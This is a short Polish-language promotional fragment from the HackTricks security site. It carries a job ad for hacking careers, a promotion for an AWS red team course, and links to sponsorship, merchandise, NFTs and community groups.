Jeśli interesuje Cię **kariera hakera** i hakowanie niemożliwych do zhakowania - **rekrutujemy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||
|
||
{% embed url="https://www.stmcyber.com/careers" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||
|
||
</details>
|